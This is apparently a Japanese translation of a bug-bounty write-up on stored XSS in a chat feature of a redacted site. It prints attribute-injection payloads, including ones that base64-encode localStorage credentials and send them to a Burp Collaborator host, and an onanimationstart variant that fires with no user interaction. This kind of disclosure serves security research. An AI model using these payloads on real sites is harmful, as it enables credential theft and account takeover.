Shikata Ga Nai

Private? There is no such things.

How I managed to trigger XSS automatically to get critical account takeoverを訳してみた

Hello there, ('ω')ノ

 

重要なアカウントの乗っ取りを取得するためにXSSを自動的にトリガする方法を。

 

脆弱性:

 保存されたXSS

 

記事:

 https://c4rrilat0r.medium.com/how-i-managed-to-trigger-xss-automatically-to-get-critical-account-takeover-92ea3abcaf9

 

今回は、XSSは保存されており、チャットを介して任意のユーザに送信して。

資格情報を盗むことができるため、影響は重大で。

 

REDACTED.comと呼ぶこのプライベートプログラムには。

プラットフォーム上のすべてのユーザと通信するためのチャットがあって。

この機能を分析すると、Javascriptが送信したURLを解析していることがわかって。

https://google.comを送信した場合、チャットはテキストを解析し。

URLを「a」htmlタグのリンクとして配置して。

 

 

なので、送信した最初の悪意のあるペイロードは次のとおりで。

https://google.com"'/>

 

そして、HTMLがどのように壊れているかを確認できて。

 

 

これを知って、新しいタグを追加しようとしましたが。

残念ながら、htmlタグのフィルタがたくさんあったので。

しばらくしてタグを追加しようとして成功しなかった後。

「a」タグに属性を追加し始めて。

これにより、タグのコンテキストでJavascriptを実行できるようになって。

この部分では問題はなく、onclick=alert(1) を正常に挿入して。

下記は、ペイロードを持つ属性で。

https://google.com" onclick="alert('1')" a="

 

結果として、次の最終タグがあって。

<a href="https://google.com" onclick="alert(1)" a=""> 

 

そして、被害者がリンクをクリックすると、ポップアップアラートが表示されて。

 

重要な情報:

ユーザの資格情報は、localStorageに保存されて。

攻撃者は、次のjavascriptペイロードを使用してそれらを盗むことができて。

https://google.com" onclick="b=JSON.stringify(localStorage);c=btoa(b);i=new/**/Image;i.src='https://burpcollaborator.burpcollaborator.net?t='+c" a="

 

上記のペイロードを説明するために、JavaScriptはbase64で。

localStorage情報をエンコードし。

その後、攻撃者のBurpコラボレータに送信して。

現時点では、ユーザの操作を除いて任意のアカウントを引き継ぐことができるため。

重大度の高い脆弱性があって。

 

重大な脆弱性が必要だったので、Javascriptペイロードを。

自動的にトリガする方法を研究し始めて。

しばらくして、PortSwiggerのクロスサイトスクリプティングチートシートを。

使用した完璧なソリューションを見つけて。

次のペイロードは、ユーザの操作なしですべてのブラウザで。

機能することがわかって。

 

 

しかし、大きな問題は、「style」タグでアニメーションを作成するために。

新しいHTMLタグを挿入できないことで。

この問題をどのように解決したかというと。

REDACTED CSSで定義されているアニメーションを1つだけ。

見つける必要があったので。

サイトにロードされている各CSSファイルを開いて、見つけることができて。

下記が編集したCSSで。

 

 

そして、エクスプロイトを準備する必要があったので。

https://google.com"onanimationstart="b=JSON.stringify(localStorage);c=btoa(b);i=new/**/Image;i.src=’https://burpcollaborator.burpcollaborator.net?t='+c"style="animation-name:Toastify__bounceOutRight

 

https://developer.mozilla.org/ja/docs/Web/CSS/animation-name

 

onanimationstart属性に悪意のあるjavascriptコードを配置して。
見つかったアニメーションをタグのスタイルで定義して。

 

したがって、攻撃者がチャットを介して悪意のあるメッセージを送信し。

被害者がそれを開くと、タグのスタイルが読み込まれ。

イベントは、onanimationstart属性に配置されたコードを実行し。

攻撃者は自動的にBurpコラボレータで被害者の資格情報を受け取って。

 

 

Best regards, (^^ゞ